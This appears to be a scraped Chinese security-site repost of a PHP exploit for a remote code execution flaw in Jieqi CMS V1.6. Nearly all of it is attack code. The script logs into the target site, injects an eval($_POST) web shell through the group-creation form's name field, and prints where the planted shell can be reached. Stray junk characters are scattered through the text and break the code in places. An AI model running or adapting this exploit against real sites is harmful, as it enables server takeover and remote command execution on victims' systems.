Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

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杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。

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1 C: `9 T. f6 U  ?. D5 s该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
+ \( o4 p3 \4 M 需要有一个能创建圈子的用户。
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( `0 g+ O" e# T<?php

, `7 w  O6 L  _print_r('
! q1 O; O# M1 |9 {3 n. Q+---------------------------------------------------------------------------+
# j- u& n0 h) }; X/ |; m. H. XJieqi CMS V1.6 PHP Code Injection Exploit
# U% ^0 {6 [3 A  i4 c: m# T* Nby flyh4t
mail: phpsec at hotmail dot com
team: http://www.wolvez.org
! S' r0 Y8 F3 z+ c+---------------------------------------------------------------------------+
+ o; _" E+ F% @'); /**
( N7 E# Z: M. G; } * works regardless of php.ini settings
*/ if ($argc < 5) { print_r('
+---------------------------------------------------------------------------+
7 T( M- c$ W: mUsage: php '.$argv[0].' host path username
7 ~, H& n' w1 k  fhost:      target server (ip/hostname)
- F$ [+ E  B) r* e, R* Ypath:      path to jieqicms
2 N2 I+ D+ P) y% Kuasename:  a username who can create group
Example:
3 [) a3 t1 `& w' B1 Qphp '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
+---------------------------------------------------------------------------+
- `( V* @  f! `* M'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
5 g) \% ?- n2 gContent-Disposition: form-data; name="gname"
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7 y+ K' \- R& T) K: j( o'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
-----------------------------23281168279961
Content-Disposition: form-data; name="gcatid"

$ I+ K; {9 J1 G2 ^% q1 G1
+ j4 p( b3 ^( d! Y-----------------------------23281168279961
+ Z  d4 {% B" S. H5 f+ s: ^Content-Disposition: form-data; name="gaudit"
7 L* h, q, Q, z3 K, O' ?" w2 N3 T
7 u4 I, `! v" Z# z. \1 @1
* R1 J# c) D5 P7 j0 i$ P-----------------------------23281168279961
- ^  D$ l3 k7 n* m- iContent-Disposition: form-data; name="gbrief"

1
" b" ?$ {) T. R- o% O-----------------------------23281168279961--
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com

( w* K! I1 ]# j! fpreg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;